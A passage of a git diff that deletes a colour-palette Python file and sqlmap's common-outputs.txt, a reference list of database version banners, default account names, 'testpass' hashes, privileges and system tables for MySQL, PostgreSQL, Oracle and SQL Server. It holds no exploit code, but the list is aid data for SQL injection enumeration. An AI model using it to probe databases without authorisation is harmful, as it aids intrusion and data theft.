(252, 141, 89), (254, 224, 139), (217, 239, 139), (145, 207, 96), (26, 152, 80)], - 'rdylgn7': [(215, 48, 39), (252, 141, 89), (254, 224, 139), (255, 255, 191), (217, 239, 139), (145, 207, 96), (26, 152, 80)], - 'rdylgn8': [(215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 139), (217, 239, 139), (166, 217, 106), (102, 189, 99), (26, 152, 80)], - 'rdylgn9': [(215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 139), (255, 255, 191), (217, 239, 139), (166, 217, 106), (102, 189, 99), (26, 152, 80)], - 'reds3': [(254, 224, 210), (252, 146, 114), (222, 45, 38)], - 'reds4': [(254, 229, 217), (252, 174, 145), (251, 106, 74), (203, 24, 29)], - 'reds5': [(254, 229, 217), (252, 174, 145), (251, 106, 74), (222, 45, 38), (165, 15, 21)], - 'reds6': [(254, 229, 217), (252, 187, 161), (252, 146, 114), (251, 106, 74), (222, 45, 38), (165, 15, 21)], - 'reds7': [(254, 229, 217), (252, 187, 161), (252, 146, 114), (251, 106, 74), (239, 59, 44), (203, 24, 29), (153, 0, 13)], - 'reds8': [(255, 245, 240), (254, 224, 210), (252, 187, 161), (252, 146, 114), (251, 106, 74), (239, 59, 44), (203, 24, 29), (153, 0, 13)], - 'reds9': [(255, 245, 240), (254, 224, 210), (252, 187, 161), (252, 146, 114), (251, 106, 74), (239, 59, 44), (203, 24, 29), (165, 15, 21), (103, 0, 13)], - 'set13': [(228, 26, 28), (55, 126, 184), (77, 175, 74)], - 'set14': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163)], - 'set15': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0)], - 'set16': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0), (255, 255, 51)], - 'set17': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0), (255, 255, 51), (166, 86, 40)], - 'set18': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0), (255, 255, 51), (166, 86, 40), (247, 129, 191)], - 'set19': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0), (255, 255, 51), (166, 86, 40), (247, 129, 191), (153, 153, 153)], - 'set23': [(102, 194, 165), (252, 141, 98), (141, 160, 203)], - 'set24': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195)], - 'set25': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195), (166, 216, 84)], - 'set26': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195), (166, 216, 84), (255, 217, 47)], - 'set27': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195), (166, 216, 84), (255, 217, 47), (229, 196, 148)], - 'set28': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195), (166, 216, 84), (255, 217, 47), (229, 196, 148), (179, 179, 179)], - 'set310': [(141, 211, 199), (188, 128, 189), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229), (217, 217, 217)], - 'set311': [(141, 211, 199), (188, 128, 189), (204, 235, 197), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229), (217, 217, 217)], - 'set312': [(141, 211, 199), (188, 128, 189), (204, 235, 197), (255, 237, 111), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229), (217, 217, 217)], - 'set33': [(141, 211, 199), (255, 255, 179), (190, 186, 218)], - 'set34': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114)], - 'set35': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211)], - 'set36': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98)], - 'set37': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105)], - 'set38': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229)], - 'set39': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229), (217, 217, 217)], - 'spectral10': [(158, 1, 66), (94, 79, 162), (213, 62, 79), (244, 109, 67), (253, 174, 97), (254, 224, 139), (230, 245, 152), (171, 221, 164), (102, 194, 165), (50, 136, 189)], - 'spectral11': [(158, 1, 66), (50, 136, 189), (94, 79, 162), (213, 62, 79), (244, 109, 67), (253, 174, 97), (254, 224, 139), (255, 255, 191), (230, 245, 152), (171, 221, 164), (102, 194, 165)], - 'spectral3': [(252, 141, 89), (255, 255, 191), (153, 213, 148)], - 'spectral4': [(215, 25, 28), (253, 174, 97), (171, 221, 164), (43, 131, 186)], - 'spectral5': [(215, 25, 28), (253, 174, 97), (255, 255, 191), (171, 221, 164), (43, 131, 186)], - 'spectral6': [(213, 62, 79), (252, 141, 89), (254, 224, 139), (230, 245, 152), (153, 213, 148), (50, 136, 189)], - 'spectral7': [(213, 62, 79), (252, 141, 89), (254, 224, 139), (255, 255, 191), (230, 245, 152), (153, 213, 148), (50, 136, 189)], - 'spectral8': [(213, 62, 79), (244, 109, 67), (253, 174, 97), (254, 224, 139), (230, 245, 152), (171, 221, 164), (102, 194, 165), (50, 136, 189)], - 'spectral9': [(213, 62, 79), (244, 109, 67), (253, 174, 97), (254, 224, 139), (255, 255, 191), (230, 245, 152), (171, 221, 164), (102, 194, 165), (50, 136, 189)], - 'ylgn3': [(247, 252, 185), (173, 221, 142), (49, 163, 84)], - 'ylgn4': [(255, 255, 204), (194, 230, 153), (120, 198, 121), (35, 132, 67)], - 'ylgn5': [(255, 255, 204), (194, 230, 153), (120, 198, 121), (49, 163, 84), (0, 104, 55)], - 'ylgn6': [(255, 255, 204), (217, 240, 163), (173, 221, 142), (120, 198, 121), (49, 163, 84), (0, 104, 55)], - 'ylgn7': [(255, 255, 204), (217, 240, 163), (173, 221, 142), (120, 198, 121), (65, 171, 93), (35, 132, 67), (0, 90, 50)], - 'ylgn8': [(255, 255, 229), (247, 252, 185), (217, 240, 163), (173, 221, 142), (120, 198, 121), (65, 171, 93), (35, 132, 67), (0, 90, 50)], - 'ylgn9': [(255, 255, 229), (247, 252, 185), (217, 240, 163), (173, 221, 142), (120, 198, 121), (65, 171, 93), (35, 132, 67), (0, 104, 55), (0, 69, 41)], - 'ylgnbu3': [(237, 248, 177), (127, 205, 187), (44, 127, 184)], - 'ylgnbu4': [(255, 255, 204), (161, 218, 180), (65, 182, 196), (34, 94, 168)], - 'ylgnbu5': [(255, 255, 204), (161, 218, 180), (65, 182, 196), (44, 127, 184), (37, 52, 148)], - 'ylgnbu6': [(255, 255, 204), (199, 233, 180), (127, 205, 187), (65, 182, 196), (44, 127, 184), (37, 52, 148)], - 'ylgnbu7': [(255, 255, 204), (199, 233, 180), (127, 205, 187), (65, 182, 196), (29, 145, 192), (34, 94, 168), (12, 44, 132)], - 'ylgnbu8': [(255, 255, 217), (237, 248, 177), (199, 233, 180), (127, 205, 187), (65, 182, 196), (29, 145, 192), (34, 94, 168), (12, 44, 132)], - 'ylgnbu9': [(255, 255, 217), (237, 248, 177), (199, 233, 180), (127, 205, 187), (65, 182, 196), (29, 145, 192), (34, 94, 168), (37, 52, 148), (8, 29, 88)], - 'ylorbr3': [(255, 247, 188), (254, 196, 79), (217, 95, 14)], - 'ylorbr4': [(255, 255, 212), (254, 217, 142), (254, 153, 41), (204, 76, 2)], - 'ylorbr5': [(255, 255, 212), (254, 217, 142), (254, 153, 41), (217, 95, 14), (153, 52, 4)], - 'ylorbr6': [(255, 255, 212), (254, 227, 145), (254, 196, 79), (254, 153, 41), (217, 95, 14), (153, 52, 4)], - 'ylorbr7': [(255, 255, 212), (254, 227, 145), (254, 196, 79), (254, 153, 41), (236, 112, 20), (204, 76, 2), (140, 45, 4)], - 'ylorbr8': [(255, 255, 229), (255, 247, 188), (254, 227, 145), (254, 196, 79), (254, 153, 41), (236, 112, 20), (204, 76, 2), (140, 45, 4)], - 'ylorbr9': [(255, 255, 229), (255, 247, 188), (254, 227, 145), (254, 196, 79), (254, 153, 41), (236, 112, 20), (204, 76, 2), (153, 52, 4), (102, 37, 6)], - 'ylorrd3': [(255, 237, 160), (254, 178, 76), (240, 59, 32)], - 'ylorrd4': [(255, 255, 178), (254, 204, 92), (253, 141, 60), (227, 26, 28)], - 'ylorrd5': [(255, 255, 178), (254, 204, 92), (253, 141, 60), (240, 59, 32), (189, 0, 38)], - 'ylorrd6': [(255, 255, 178), (254, 217, 118), (254, 178, 76), (253, 141, 60), (240, 59, 32), (189, 0, 38)], - 'ylorrd7': [(255, 255, 178), (254, 217, 118), (254, 178, 76), (253, 141, 60), (252, 78, 42), (227, 26, 28), (177, 0, 38)], - 'ylorrd8': [(255, 255, 204), (255, 237, 160), (254, 217, 118), (254, 178, 76), (253, 141, 60), (252, 78, 42), (227, 26, 28), (177, 0, 38)], -} - - -if __name__ == '__main__': - main() diff --git a/txt/common-outputs.txt b/txt/common-outputs.txt deleted file mode 100644 index 623c07554f1..00000000000 --- a/txt/common-outputs.txt +++ /dev/null @@ -1,1180 +0,0 @@ -# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission - -[Banners] - -# MySQL -3.22. -3.23. -4.0. -4.1. -5.0. -5.1. -5.5. -5.6. -6.0. - -# PostgreSQL -PostgreSQL 7.0 -PostgreSQL 7.1 -PostgreSQL 7.2 -PostgreSQL 7.3 -PostgreSQL 7.4 -PostgreSQL 8.0 -PostgreSQL 8.1 -PostgreSQL 8.2 -PostgreSQL 8.3 -PostgreSQL 8.4 -PostgreSQL 8.5 -PostgreSQL 9.0 -PostgreSQL 9.1 -PostgreSQL 9.2 -PostgreSQL 9.3 - -# Oracle -Oracle Database 9i Standard Edition Release -Oracle Database 9i Standard Edition Release 9. -Oracle Database 9i Express Edition Release -Oracle Database 9i Express Edition Release 9. -Oracle Database 9i Enterprise Edition Release -Oracle Database 9i Enterprise Edition Release 9. -Oracle Database 10g Standard Edition Release -Oracle Database 10g Standard Edition Release 10. -Oracle Database 10g Express Edition Release -Oracle Database 10g Enterprise Edition Release -Oracle Database 10g Enterprise Edition Release 10. -Oracle Database 11g Standard Edition Release -Oracle Database 11g Standard Edition Release 11. -Oracle Database 11g Express Edition Release -Oracle Database 11g Express Edition Release 11. -Oracle Database 11g Enterprise Edition Release -Oracle Database 11g Enterprise Edition Release 11. - -# Microsoft SQL Server -Microsoft SQL Server 7.0 -Microsoft SQL Server 2000 -Microsoft SQL Server 2005 -Microsoft SQL Server 2008 - - -[Users] - -# MySQL >= 5.0 -'debian-sys-maint'@'localhost' -'root'@'%' -'root'@'localhost' - -# MySQL < 5.0 -debian-sys-maint -root - -# PostgreSQL -postgres - -# Oracle -ANONYMOUS -CTXSYS -DBSNMP -DIP -DMSYS -EXFSYS -MDDATA -MDSYS -MGMT_VIEW -OLAPSYS -ORDPLUGINS -ORDSYS -OUTLN -SCOTT -SI_INFORMTN_SCHEMA -SYS -SYSMAN -SYSTEM -TSMSYS -WMSYS -XDB - -# Microsoft SQL Server -sa - - -[Passwords] - -# MySQL -*00E247AC5F9AF26AE0194B41E1E769DEE1429A29 # testpass - -# PostgreSQL -md599e5ea7a6f7c3269995cba3927fd0093 # testpass - -# Oracle -2D5A0C491B634F1B # testpass - -# Microsoft SQL Server -0x0100098a6200f657f7d012dfa7dc1fd1b154d4dfb8cd20596d22 # testpass - - -[Privileges] - -# MySQL >= 5.0 -ALTER -ALTER ROUTINE -CREATE -CREATE ROUTINE -CREATE TEMPORARY TABLES -CREATE USER -CREATE VIEW -DELETE -DROP -EVENT -EXECUTE -FILE -INDEX -INSERT -LOCK TABLES -PROCESS -REFERENCES -RELOAD -REPLICATION CLIENT -REPLICATION SLAVE -SELECT -SHOW DATABASES -SHOW VIEW -SHUTDOWN -SUPER -TRIGGER -UPDATE -USAGE - -# MySQL < 5.0 -select_priv -insert_priv -update_priv -delete_priv -create_priv -drop_priv -reload_priv -shutdown_priv -process_priv -file_priv -grant_priv -references_priv -index_priv -alter_priv -show_db_priv -super_priv -create_tmp_table_priv -lock_tables_priv -execute_priv -repl_slave_priv -repl_client_priv -create_view_priv -show_view_priv -create_routine_priv -alter_routine_priv -create_user_priv - -# PostgreSQL -catupd -createdb -super - -# Oracle -ADMINISTER ANY SQL TUNING SET -ADMINISTER DATABASE TRIGGER -ADMINISTER RESOURCE MANAGER -ADMINISTER SQL TUNING SET -ADVISOR -ALTER ANY CLUSTER -ALTER ANY DIMENSION -ALTER ANY EVALUATION CONTEXT -ALTER ANY INDEX -ALTER ANY INDEXTYPE -ALTER ANY LIBRARY -ALTER ANY MATERIALIZED VIEW -ALTER ANY OUTLINE -ALTER ANY PROCEDURE -ALTER ANY ROLE -ALTER ANY RULE -ALTER ANY RULE SET -ALTER ANY SEQUENCE -ALTER ANY SQL PROFILE -ALTER ANY TABLE -ALTER ANY TRIGGER -ALTER ANY TYPE -ALTER DATABASE -ALTER PROFILE -ALTER RESOURCE COST -ALTER ROLLBACK SEGMENT -ALTER SESSION -ALTER SYSTEM -ALTER TABLESPACE -ALTER USER -ANALYZE ANY -ANALYZE ANY DICTIONARY -AUDIT ANY -AUDIT SYSTEM -BACKUP ANY TABLE -BECOME USER -CHANGE NOTIFICATION -COMMENT ANY TABLE -CREATE ANY CLUSTER -CREATE ANY CONTEXT -CREATE ANY DIMENSION -CREATE ANY DIRECTORY -CREATE ANY EVALUATION CONTEXT -CREATE ANY INDEX -CREATE ANY INDEXTYPE -CREATE ANY JOB -CREATE ANY LIBRARY -CREATE ANY MATERIALIZED VIEW -CREATE ANY OPERATOR -CREATE ANY OUTLINE -CREATE ANY PROCEDURE -CREATE ANY RULE -CREATE ANY RULE SET -CREATE ANY SEQUENCE -CREATE ANY SQL PROFILE -CREATE ANY SYNONYM -CREATE ANY TABLE -CREATE ANY TRIGGER -CREATE ANY TYPE -CREATE ANY VIEW -CREATE CLUSTER -CREATE DATABASE LINK -CREATE DIMENSION -CREATE EVALUATION CONTEXT -CREATE EXTERNAL JOB -CREATE INDEXTYPE -CREATE JOB -CREATE LIBRARY -CREATE MATERIALIZED VIEW -CREATE OPERATOR -CREATE PROCEDURE -CREATE PROFILE -CREATE PUBLIC DATABASE LINK -CREATE PUBLIC SYNONYM -CREATE ROLE -CREATE ROLLBACK SEGMENT -CREATE RULE -CREATE RULE SET -CREATE SEQUENCE -CREATE SESSION -CREATE SYNONYM -CREATE TABLE -CREATE TABLESPACE -CREATE TRIGGER -CREATE TYPE -CREATE USER -CREATE VIEW -DEBUG ANY PROCEDURE -DEBUG CONNECT SESSION -DELETE ANY TABLE -DEQUEUE ANY QUEUE -DROP ANY CLUSTER -DROP ANY CONTEXT -DROP ANY DIMENSION -DROP ANY DIRECTORY -DROP ANY EVALUATION CONTEXT -DROP ANY INDEX -DROP ANY INDEXTYPE -DROP ANY LIBRARY -DROP ANY MATERIALIZED VIEW -DROP ANY OPERATOR -DROP ANY OUTLINE -DROP ANY PROCEDURE -DROP ANY ROLE -DROP ANY RULE -DROP ANY RULE SET -DROP ANY SEQUENCE -DROP ANY SQL PROFILE -DROP ANY SYNONYM -DROP ANY TABLE -DROP ANY TRIGGER -DROP ANY TYPE -DROP ANY VIEW -DROP PROFILE -DROP PUBLIC DATABASE LINK -DROP PUBLIC SYNONYM -DROP ROLLBACK SEGMENT -DROP TABLESPACE -DROP USER -ENQUEUE ANY QUEUE -EXECUTE ANY CLASS -EXECUTE ANY EVALUATION CONTEXT -EXECUTE ANY INDEXTYPE -EXECUTE ANY LIBRARY -EXECUTE ANY OPERATOR -EXECUTE ANY PROCEDURE -EXECUTE ANY PROGRAM -EXECUTE ANY RULE -EXECUTE ANY RULE SET -EXECUTE ANY TYPE -EXPORT FULL DATABASE -FLASHBACK ANY TABLE -FORCE ANY TRANSACTION -FORCE TRANSACTION -GLOBAL QUERY REWRITE -GRANT ANY OBJECT PRIVILEGE -GRANT ANY PRIVILEGE -GRANT ANY ROLE -IMPORT FULL DATABASE -INSERT ANY TABLE -LOCK ANY TABLE -MANAGE ANY FILE GROUP -MANAGE ANY QUEUE -MANAGE FILE GROUP -MANAGE SCHEDULER -MANAGE TABLESPACE -MERGE ANY VIEW -ON COMMIT REFRESH -QUERY REWRITE -READ ANY FILE GROUP -RESTRICTED SESSION -RESUMABLE -SELECT ANY DICTIONARY -SELECT ANY SEQUENCE -SELECT ANY TABLE -SELECT ANY TRANSACTION -UNDER ANY TABLE -UNDER ANY TYPE -UNDER ANY VIEW -UNLIMITED TABLESPACE -UPDATE ANY TABLE - - -[Roles] - -# Oracle -AQ_ADMINISTRATOR_ROLE -AQ_USER_ROLE -AUTHENTICATEDUSER -CONNECT -CTXAPP -DBA -DELETE_CATALOG_ROLE -EJBCLIENT -EXECUTE_CATALOG_ROLE -EXP_FULL_DATABASE -GATHER_SYSTEM_STATISTICS -HS_ADMIN_ROLE -IMP_FULL_DATABASE -JAVA_ADMIN -JAVADEBUGPRIV -JAVA_DEPLOY -JAVAIDPRIV -JAVASYSPRIV -JAVAUSERPRIV -LOGSTDBY_ADMINISTRATOR -MGMT_USER -OEM_ADVISOR -OEM_MONITOR -OLAP_DBA -OLAP_USER -RECOVERY_CATALOG_OWNER -RESOURCE -SCHEDULER_ADMIN -SELECT_CATALOG_ROLE -TABLE_ACCESSERS -WM_ADMIN_ROLE -XDBADMIN -XDBWEBSERVICES - - -[Databases] - -# MySQL -information_schema -mysql -phpmyadmin - -# PostgreSQL -pg_catalog -postgres -public -template0 -template1 - -# Microsoft SQL Server -AdventureWorks -AdventureWorksDW -master -model -msdb -ReportServer -ReportServerTempDB -tempdb - - -[Tables] - -# MySQL >= 5.0 -CHARACTER_SETS -COLLATION_CHARACTER_SET_APPLICABILITY -COLLATIONS -COLUMN_PRIVILEGES -COLUMNS -ENGINES -EVENTS -FILES -GLOBAL_STATUS -GLOBAL_VARIABLES -KEY_COLUMN_USAGE -PARTITIONS -PLUGINS -PROCESSLIST -PROFILING -REFERENTIAL_CONSTRAINTS -ROUTINES -SCHEMA_PRIVILEGES -SCHEMATA -SESSION_STATUS -SESSION_VARIABLES -STATISTICS -TABLE_CONSTRAINTS -TABLE_PRIVILEGES -TABLES -TRIGGERS -USER_PRIVILEGES -VIEWS - -# MySQL -columns_priv -db -event -func -general_log -help_category -help_keyword -help_relation -help_topic -host -ndb_binlog_index -plugin -proc -procs_priv -servers -slow_log -tables_priv -time_zone -time_zone_leap_second -time_zone_name -time_zone_transition -time_zone_transition_type -user - -# phpMyAdmin -pma_bookmark -pma_column_info -pma_designer_coords -pma_history -pma_pdf_pages -pma_relation -pma_table_coords -pma_table_info - -# PostgreSQL -pg_aggregate -pg_am -pg_amop -pg_amproc -pg_attrdef -pg_attribute -pg_authid -pg_auth_members -pg_cast -pg_class -pg_constraint -pg_conversion -pg_database -pg_depend -pg_description -pg_enum -pg_foreign_data_wrapper -pg_foreign_server -pg_index -pg_inherits -pg_language -pg_largeobject -pg_listener -pg_namespace -pg_opclass -pg_operator -pg_opfamily -pg_pltemplate -pg_proc -pg_rewrite -pg_shdepend -pg_shdescription -pg_statistic -pg_tablespace -pg_trigger -pg_ts_config -pg_ts_config_map -pg_ts_dict -pg_ts_parser -pg_ts_template -pg_type -pg_user_mapping -sql_features -sql_implementation_info -sql_languages -sql_packages -sql_parts -sql_sizing -sql_sizing_profiles - -# Oracle (demo database) -BONUS -DEPT -EMP -SALGRADE -USERS - -# Microsoft SQL Server -## Database: AdventureWorksDW -AdventureWorksDWBuildVersion -DatabaseLog -DimAccount -DimCurrency -DimCustomer -DimDepartmentGroup -DimEmployee -DimGeography -DimOrganization -DimProduct -DimProductCategory -DimProductSubcategory -DimPromotion -DimReseller -DimSalesReason -DimSalesTerritory -DimScenario -DimTime -FactCurrencyRate -FactFinance -FactInternetSales -FactInternetSalesReason -FactResellerSales -FactSalesQuota -ProspectiveBuyer -vAssocSeqLineItems -vAssocSeqOrders -vDMPrep -vTargetMail -vTimeSeries - -## Database: master -all_columns -all_objects -all_parameters -all_sql_modules -all_views -allocation_units -assemblies -assembly_files -assembly_modules -assembly_references -assembly_types -asymmetric_keys -backup_devices -certificates -CHECK_CONSTRAINTS -check_constraints -COLUMN_DOMAIN_USAGE -COLUMN_PRIVILEGES -column_type_usages -column_xml_schema_collection_usages -columns -COLUMNS -computed_columns -configurations -CONSTRAINT_COLUMN_USAGE -CONSTRAINT_TABLE_USAGE -conversation_endpoints -conversation_groups -credentials -crypt_properties -data_spaces -database_files -database_mirroring -database_mirroring_endpoints -database_mirroring_witnesses -database_permissions -database_principal_aliases -database_principals -database_recovery_status -database_role_members -databases -default_constraints -destination_data_spaces -dm_broker_activated_tasks -dm_broker_connections -dm_broker_forwarded_messages -dm_broker_queue_monitors -dm_clr_appdomains -dm_clr_loaded_assemblies -dm_clr_properties -dm_clr_tasks -dm_db_file_space_usage -dm_db_index_usage_stats -dm_db_mirroring_connections -dm_db_missing_index_details -dm_db_missing_index_group_stats -dm_db_missing_index_groups -dm_db_partition_stats -dm_db_session_space_usage -dm_db_task_space_usage -dm_exec_background_job_queue -dm_exec_background_job_queue_stats -dm_exec_cached_plans -dm_exec_connections -dm_exec_query_optimizer_info -dm_exec_query_stats -dm_exec_query_transformation_stats -dm_exec_requests -dm_exec_sessions -dm_fts_active_catalogs -dm_fts_index_population -dm_fts_memory_buffers -dm_fts_memory_pools -dm_fts_population_ranges -dm_io_backup_tapes -dm_io_cluster_shared_drives -dm_io_pending_io_requests -dm_os_buffer_descriptors -dm_os_child_instances -dm_os_cluster_nodes -dm_os_hosts -dm_os_latch_stats -dm_os_loaded_modules -dm_os_memory_allocations -dm_os_memory_cache_clock_hands -dm_os_memory_cache_counters -dm_os_memory_cache_entries -dm_os_memory_cache_hash_tables -dm_os_memory_clerks -dm_os_memory_objects -dm_os_memory_pools -dm_os_performance_counters -dm_os_ring_buffers -dm_os_schedulers -dm_os_stacks -dm_os_sublatches -dm_os_sys_info -dm_os_tasks -dm_os_threads -dm_os_virtual_address_dump -dm_os_wait_stats -dm_os_waiting_tasks -dm_os_worker_local_storage -dm_os_workers -dm_qn_subscriptions -dm_repl_articles -dm_repl_schemas -dm_repl_tranhash -dm_repl_traninfo -dm_tran_active_snapshot_database_transactions -dm_tran_active_transactions -dm_tran_current_snapshot -dm_tran_current_transaction -dm_tran_database_transactions -dm_tran_locks -dm_tran_session_transactions -dm_tran_top_version_generators -dm_tran_transactions_snapshot -dm_tran_version_store -DOMAIN_CONSTRAINTS -DOMAINS -endpoint_webmethods -endpoints -event_notification_event_types -event_notifications -events -extended_procedures -extended_properties -filegroups -foreign_key_columns -foreign_keys -fulltext_catalogs -fulltext_document_types -fulltext_index_catalog_usages -fulltext_index_columns -fulltext_indexes -fulltext_languages -http_endpoints -identity_columns -index_columns -indexes -internal_tables -KEY_COLUMN_USAGE -key_constraints -key_encryptions -linked_logins -login_token -master_files -master_key_passwords -message_type_xml_schema_collection_usages -messages -module_assembly_usages -MSreplication_options -numbered_procedure_parameters -numbered_procedures -objects -openkeys -parameter_type_usages -parameter_xml_schema_collection_usages -parameters -PARAMETERS -partition_functions -partition_parameters -partition_range_values -partition_schemes -partitions -plan_guides -procedures -REFERENTIAL_CONSTRAINTS -remote_logins -remote_service_bindings -routes -ROUTINE_COLUMNS -ROUTINES -schemas -SCHEMATA -securable_classes -server_assembly_modules -server_event_notifications -server_events -server_permissions -server_principals -server_role_members -server_sql_modules -server_trigger_events -server_triggers -servers -service_broker_endpoints -service_contract_message_usages -service_contract_usages -service_contracts -service_message_types -service_queue_usages -service_queues -services -soap_endpoints -spt_fallback_db -spt_fallback_dev -spt_fallback_usg -spt_monitor -spt_values -sql_dependencies -sql_logins -sql_modules -stats -stats_columns -symmetric_keys -synonyms -sysaltfiles -syscacheobjects -syscharsets -syscolumns -syscomments -sysconfigures -sysconstraints -syscurconfigs -syscursorcolumns -syscursorrefs -syscursors -syscursortables -sysdatabases -sysdepends -sysdevices -sysfilegroups -sysfiles -sysforeignkeys -sysfulltextcatalogs -sysindexes -sysindexkeys -syslanguages -syslockinfo -syslogins -sysmembers -sysmessages -sysobjects -sysoledbusers -sysopentapes -sysperfinfo -syspermissions -sysprocesses -sysprotects -sysreferences -sysremotelogins -syssegments -sysservers -system_columns -system_components_surface_area_configuration -system_internals_allocation_units -system_internals_partition_columns -system_internals_partitions -system_objects -system_parameters -system_sql_modules -system_views -systypes -sysusers -TABLE_CONSTRAINTS -TABLE_PRIVILEGES -TABLES -tables -tcp_endpoints -trace_categories -trace_columns -trace_event_bindings -trace_events -trace_subclass_values -traces -transmission_queue -trigger_events -triggers -type_assembly_usages -types -user_token -via_endpoints -VIEW_COLUMN_USAGE -VIEW_TABLE_USAGE -views -VIEWS -xml_indexes -xml_schema_attributes -xml_schema_collections -xml_schema_component_placements -xml_schema_components -xml_schema_elements -xml_schema_facets -xml_schema_model_groups -xml_schema_namespaces -xml_schema_types -xml_schema_wildcard_namespaces -xml_schema_wildcards - -## Database: msdb -backupfile -backupfilegroup -backupmediafamily -backupmediaset -backupset -log_shipping_monitor_alert -log_shipping_monitor_error_detail -log_shipping_monitor_history_detail -log_shipping_monitor_primary -log_shipping_monitor_secondary -log_shipping_primaries -log_shipping_primary_databases -log_shipping_primary_secondaries -log_shipping_secondaries -log_shipping_secondary -log_shipping_secondary_databases -logmarkhistory -MSdatatype_mappings -MSdbms -MSdbms_datatype -MSdbms_datatype_mapping -MSdbms_map -restorefile -restorefilegroup -restorehistory -sqlagent_info -suspect_pages -sysalerts -syscachedcredentials -syscategories -sysdatatypemappings -sysdbmaintplan_databases -sysdbmaintplan_history -sysdbmaintplan_jobs -sysdbmaintplans -sysdownloadlist -sysdtscategories -sysdtslog90 -sysdtspackagefolders90 -sysdtspackagelog -sysdtspackages -sysdtspackages90 -sysdtssteplog -sysdtstasklog -sysjobactivity -sysjobhistory -sysjobs -sysjobs_view -sysjobschedules -sysjobservers -sysjobsteps -sysjobstepslogs -sysmail_account -sysmail_allitems -sysmail_attachments -sysmail_attachments_transfer -sysmail_configuration -sysmail_event_log -sysmail_faileditems -sysmail_log -sysmail_mailattachments -sysmail_mailitems -sysmail_principalprofile -sysmail_profile -sysmail_profileaccount -sysmail_query_transfer -sysmail_send_retries -sysmail_sentitems -sysmail_server -sysmail_servertype -sysmail_unsentitems -sysmaintplan_log -sysmaintplan_logdetail -sysmaintplan_plans -sysmaintplan_subplans -sysnotifications -sysoperators -sysoriginatingservers -sysoriginatingservers_view -sysproxies -sysproxylogin -sysproxyloginsubsystem_view -sysproxysubsystem -sysschedules -sysschedules_localserver_view -syssessions -syssubsystems -systargetservergroupmembers -systargetservergroups -systargetservers -systargetservers_view -systaskids - -## Database: AdventureWorks -Address -AddressType -AWBuildVersion -BillOfMaterials -Contact -ContactCreditCard -ContactType -CountryRegion -CountryRegionCurrency -CreditCard -Culture -Currency -CurrencyRate -Customer -CustomerAddress -DatabaseLog -Department -Document -Employee -EmployeeAddress -EmployeeDepartmentHistory -EmployeePayHistory -ErrorLog -Illustration -Individual -JobCandidate -Location -Product -ProductCategory -ProductCostHistory -ProductDescription -ProductDocument -ProductInventory -ProductListPriceHistory -ProductModel -ProductModelIllustration -ProductModelProductDescriptionCulture -ProductPhoto -ProductProductPhoto -ProductReview -ProductSubcategory -ProductVendor -PurchaseOrderDetail -PurchaseOrderHeader -SalesOrderDetail -SalesOrderHeader -SalesOrderHeaderSalesReason -SalesPerson -SalesPersonQuotaHistory -SalesReason -SalesTaxRate -SalesTerritory -SalesTerritoryHistory -ScrapReason -Shift -ShipMethod -ShoppingCartItem -SpecialOffer -SpecialOfferProduct -StateProvince -Store -StoreContact -TransactionHistory -TransactionHistoryArchive -UnitMeasure -vAdditionalContactInfo -vEmployee -vEmployeeDepartment -vEmployeeDepartmentHistory -Vendor -VendorAddress -VendorContact -vIndividualCustomer -vIndividualDemographics -vJobCandidate -vJobCandidateEducation -vJobCandidateEmployment -vProductAndDescription -vProductModelCatalogDescription -vProductModelInstructions -vSalesPerson -vSalesPersonSalesByFiscalYears -vStateProvinceCountryRegion -vStoreWithDemographics -vVendor -WorkOrder -WorkOrderRouting - - -[Columns] - -# MySQL -## Table: mysql.user -Alter_priv -Alter_routine_priv -Create_priv -Create_routine_priv -Create_tmp_table_priv -Create_user_priv -Create_view_priv -Delete_priv -Drop_priv -Event_priv -Execute_priv -File_priv -Grant_priv -Host -Index_priv -Insert_priv -Lock_tables_priv -max_connections -max_questions -max_updates -max_user_connections -Password -Process_priv -References_priv -Reload_priv -Repl_client_priv -Repl_slave_priv -Select_priv -Show_db_priv -Show_view_priv -Shutdown_priv -ssl_cipher -ssl_type -Super_priv -Trigger_priv -Update_priv -User -x509_issuer -x509_subject - -# Oracle (types) -BINARY_INTEGER -BLOB -BOOLEAN -CHAR -CLOB -DATE -INTERVAL -LONG -MLSLABEL -NCHAR -NCLOB -NUMBER -NVARCHAR2 -RAW -ROWID -TIMESTAMP -VARCHAR -VARCHAR2 -XMLType - -# MySQL (types) -bigint -blob -char -date -datetime -decimal -double -enum -float -int -set -smallint -text -time -tinyint -varchar -year - -# Microsoft SQL Server (types) -bigint -binary -bit -char -cursor -date -datetime -datetime2 -datetimeoffset -decimal -float -image -int -money -nchar -ntext -numeric 